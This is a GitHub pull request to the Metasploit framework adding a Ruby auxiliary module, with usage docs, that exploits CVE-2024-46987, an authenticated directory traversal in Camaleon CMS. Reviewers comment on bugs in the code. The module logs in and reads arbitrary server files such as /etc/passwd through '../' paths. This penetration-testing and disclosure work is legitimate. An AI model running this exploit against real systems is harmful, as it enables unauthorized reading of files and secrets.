-
Notifications
You must be signed in to change notification settings - Fork 14.8k
Camaleon CMS CVE 2024 46987 #21122
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
base: master
Are you sure you want to change the base?
Camaleon CMS CVE 2024 46987 #21122
Changes from all commits
d65cc56
25f6f6b
aa27251
5b9dc0f
31b58e7
File filter
Filter by extension
Conversations
Jump to
Diff view
Diff view
There are no files selected for viewing
| Original file line number | Diff line number | Diff line change | ||||
|---|---|---|---|---|---|---|
| @@ -0,0 +1,67 @@ | ||||||
| ## Vulnerable Application | ||||||
|
|
||||||
| This module attempts to read files from an authenticated directory traversal vuln in Camaleon CMS versions >= 2.8.0 and version 2.9.0 | ||||||
|
|
||||||
| CVE-2024-46987 mistakenly indicates that versions 2.8.1 and 2.8.2 are also vulnerable, however this is not the case. | ||||||
|
|
||||||
| ## Verification Steps | ||||||
|
|
||||||
| 1. Do: `use auxiliary/gather/camaleon_traversal` | ||||||
| 2. Do: `set RHOSTS [IP]` | ||||||
|
||||||
| 2. Do: `set RHOSTS [IP]` | |
| 2. Do: `set RHOST [IP]` |
| Original file line number | Diff line number | Diff line change | ||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|
| @@ -0,0 +1,280 @@ | ||||||||||||
| ## | ||||||||||||
| # This module requires Metasploit: https://metasploit.com/download | ||||||||||||
| # Current source: https://github.com/rapid7/metasploit-framework | ||||||||||||
| ## | ||||||||||||
|
|
||||||||||||
| class MetasploitModule < Msf::Auxiliary | ||||||||||||
| include Msf::Auxiliary::Report | ||||||||||||
| include Msf::Exploit::Remote::HttpClient | ||||||||||||
| prepend Msf::Exploit::Remote::AutoCheck | ||||||||||||
|
|
||||||||||||
| def initialize(info = {}) | ||||||||||||
| super( | ||||||||||||
| update_info( | ||||||||||||
| info, | ||||||||||||
| 'Name' => 'Camaleon CMS Directory Traversal CVE-2024-46987', | ||||||||||||
| 'Description' => %q{ | ||||||||||||
| Exploits CVE-2024-46987, an authenticated directory traversal | ||||||||||||
| vulnerability in Camaleon CMS versions <= 2.8.0 and 2.9.0 | ||||||||||||
| }, | ||||||||||||
| 'Author' => [ | ||||||||||||
| 'Peter Stockli', # Vulnerability Disclosure | ||||||||||||
| 'Goultarde', # Python Script | ||||||||||||
| 'BootstrapBool', # Metasploit Module | ||||||||||||
| ], | ||||||||||||
| 'License' => MSF_LICENSE, | ||||||||||||
| 'Platform' => 'linux', | ||||||||||||
| 'References' => [ | ||||||||||||
| ['CVE', '2024-46987'], | ||||||||||||
| [ | ||||||||||||
| 'URL', # Advisory | ||||||||||||
| 'https://securitylab.github.com/advisories/GHSL-2024-182_GHSL-2024-186_Camaleon_CMS/' | ||||||||||||
| ], | ||||||||||||
| [ | ||||||||||||
| 'URL', # Python Script | ||||||||||||
| 'https://github.com/Goultarde/CVE-2024-46987' | ||||||||||||
| ], | ||||||||||||
| ], | ||||||||||||
| 'DisclosureDate' => '2024-08-08', | ||||||||||||
| 'Notes' => { | ||||||||||||
| 'Stability' => [CRASH_SAFE], | ||||||||||||
| 'Reliability' => [], | ||||||||||||
| 'SideEffects' => [IOC_IN_LOGS] | ||||||||||||
| } | ||||||||||||
| ) | ||||||||||||
| ) | ||||||||||||
| register_options( | ||||||||||||
| [ | ||||||||||||
| Opt::RHOST, | ||||||||||||
|
Contributor
There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. I think should already be registered:
Suggested change
|
||||||||||||
| Opt::RPORT(80), | ||||||||||||
| OptString.new('USERNAME', [true, 'Valid username', 'admin']), | ||||||||||||
| OptString.new('PASSWORD', [true, 'Valid password', 'admin123']), | ||||||||||||
|
Contributor
There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. Unless this is a default user/password combo, I think this should be set to nil |
||||||||||||
| OptString.new('FILEPATH', [true, 'The path to the file to read', '/etc/passwd']), | ||||||||||||
| OptString.new('TARGETURI', [false, 'The Camaleon CMS base path']), | ||||||||||||
| OptString.new('VHOST', [false, 'Virtual host. ex: target.com']), | ||||||||||||
|
Contributor
There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. I think this should be already registered
Suggested change
|
||||||||||||
| OptInt.new('DEPTH', [ true, 'Depth for Path Traversal', 13 ]), | ||||||||||||
|
Comment on lines
+52
to
+55
|
||||||||||||
| OptBool.new('SSL', [false, 'Use SSL', true]), | ||||||||||||
| OptBool.new('STORE_LOOT', [false, 'Store the target file as loot', true]) | ||||||||||||
| ] | ||||||||||||
| ) | ||||||||||||
| end | ||||||||||||
|
|
||||||||||||
| def get_base_url(ssl, vhost, rhost) | ||||||||||||
|
Contributor
There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. Was this needed? I believe the send_request_cgi should handle this for us automatically 👀 |
||||||||||||
| scheme = ssl ? 'https://' : 'http://' | ||||||||||||
|
|
||||||||||||
| base_url = vhost.nil? ? rhost : vhost | ||||||||||||
| base_url = base_url[-1] == '/' ? base_url[0..-2] : base_url | ||||||||||||
|
|
||||||||||||
| "#{scheme}#{base_url}" | ||||||||||||
| end | ||||||||||||
|
|
||||||||||||
| def build_traversal_path(filepath, depth) | ||||||||||||
| # Remove C:\ prefix if present (path traversal doesn't work with drive letters) | ||||||||||||
| normalized_path = filepath.gsub(/^[A-Z]:\\/, '').gsub(/^[A-Z]:/, '') | ||||||||||||
|
|
||||||||||||
| traversal = '../' * depth | ||||||||||||
|
|
||||||||||||
| if normalized_path[0] == '/' | ||||||||||||
| return "#{traversal[0..-2]}#{normalized_path}" | ||||||||||||
| end | ||||||||||||
|
|
||||||||||||
| "#{traversal}#{normalized_path}" | ||||||||||||
| end | ||||||||||||
|
|
||||||||||||
| def get_token(login_url) | ||||||||||||
| res = send_request_cgi({ 'uri' => login_url, 'keep_cookies' => true }) | ||||||||||||
|
|
||||||||||||
| return nil unless res && res.code == 200 | ||||||||||||
|
|
||||||||||||
| match = res.body.match(/name="authenticity_token" value="([^"]+)"/) | ||||||||||||
|
|
||||||||||||
| return match ? match[1] : nil | ||||||||||||
| end | ||||||||||||
|
|
||||||||||||
| def authenticate(base_url, username, password, check) | ||||||||||||
| login_url = "#{base_url}/admin/login" | ||||||||||||
|
|
||||||||||||
| vprint_status("Retrieving token from #{login_url}") | ||||||||||||
|
|
||||||||||||
| token = get_token(login_url) | ||||||||||||
|
|
||||||||||||
| if token.nil? | ||||||||||||
| print_error('Failed to retrieve token') | ||||||||||||
| return check ? Exploit::CheckCode::Unknown : false | ||||||||||||
| end | ||||||||||||
|
|
||||||||||||
| if cookie_jar.empty? | ||||||||||||
| print_error('Failed to retrieve cookie') | ||||||||||||
| return check ? Exploit::CheckCode::Safe : false | ||||||||||||
| end | ||||||||||||
|
|
||||||||||||
| vprint_status("Retrieved token #{token}") | ||||||||||||
| vprint_status("Authenticating to #{login_url} with credentials #{username}:#{password}") | ||||||||||||
|
||||||||||||
| vprint_status("Authenticating to #{login_url} with credentials #{username}:#{password}") | |
| vprint_status("Authenticating to #{login_url} with username #{username} (password redacted)") |
Copilot
AI
Mar 26, 2026
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
send_request_cgi is being given absolute URLs (e.g. https://host/admin/login) via the uri option. In Metasploit's HttpClient/Rex HTTP stack, uri is expected to be a path (origin-form) unless HTTP::uri_full_url is enabled, so this can cause requests to fail against origin servers. Use relative paths via normalize_uri(target_uri.path, 'admin', 'login') (and similarly for dashboard/download) rather than embedding scheme/host in uri.
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Could we verify that this code works still when running the module against a target that responds to /admin/dashboard - but isn't the camaleon application? As I believe this has the potential to raise errors with the current approach
Copilot
AI
Mar 26, 2026
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
get_version can raise if the Version ... regex doesn't match version_div.text (because match(...) could be nil and [1] would throw). Safer to capture the match object and only index it when present, otherwise return nil/Unknown.
| version = version_div.text.strip.match(/Version\s*(\S+)/)[1] if version_div | |
| if version_div | |
| match = version_div.text.strip.match(/Version\s*(\S+)/) | |
| version = match[1] if match | |
| end |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
We've also got Rex::Version that can help improve the readability here
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
What are your thoughts on refactoring the code a bit to simplify the conditional logic with these check arguments. i.e. it's a bit hard to follow methods that can have different return types depending on the arguments passed in
Copilot
AI
Mar 26, 2026
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
The module’s failure messages don’t match the PR description’s promised output (e.g., "Authentication failed" vs current "Failed to authenticate" / "Failed to obtain file"), and get_file prints "Failed to authenticate" even when running check and authenticate returns a CheckCode. Consider using fail_with(Failure::NoAccess, 'Authentication failed') for bad credentials and avoiding generic error prints when returning Exploit::CheckCode values.
Copilot
AI
Mar 26, 2026
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
The host passed to store_loot is computed incorrectly: when VHOST is nil, this sets ip to nil (datastore['VHOST'].nil? ? datastore['VHOST'] : datastore['RHOST']). This can result in loot entries without a host association. Swap the ternary (or just use datastore['RHOST'] for the loot host, since VHOST is a hostname header not the connection target).
Copilot
AI
Mar 26, 2026
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
With STORE_LOOT defaulting to true, successful runs will only print the loot path (and only print the file contents under VERBOSE via vprint_line). This contradicts the PR description’s verification step that "on success the content of the specified file will be output". Either change the default behavior (e.g., print contents as well), or update the PR/documentation expectations accordingly.
Copilot
AI
Mar 26, 2026
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
check does not clear the cookie jar, but authenticate relies on cookie jar state (and later requests reuse it). If the module is run multiple times in the same console session (or check is invoked after run), stale cookies can affect results. Clear cookie_jar at the start of check (or inside get_file/authenticate).
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
The vulnerable version range statement is internally inconsistent and appears incorrect: it says ">= 2.8.0" but the next sentence says 2.8.1/2.8.2 are not vulnerable (and the module code checks
<= 2.8.0plus2.9.0). Update the documentation to reflect the actual affected versions (e.g.,<= 2.8.0and2.9.0).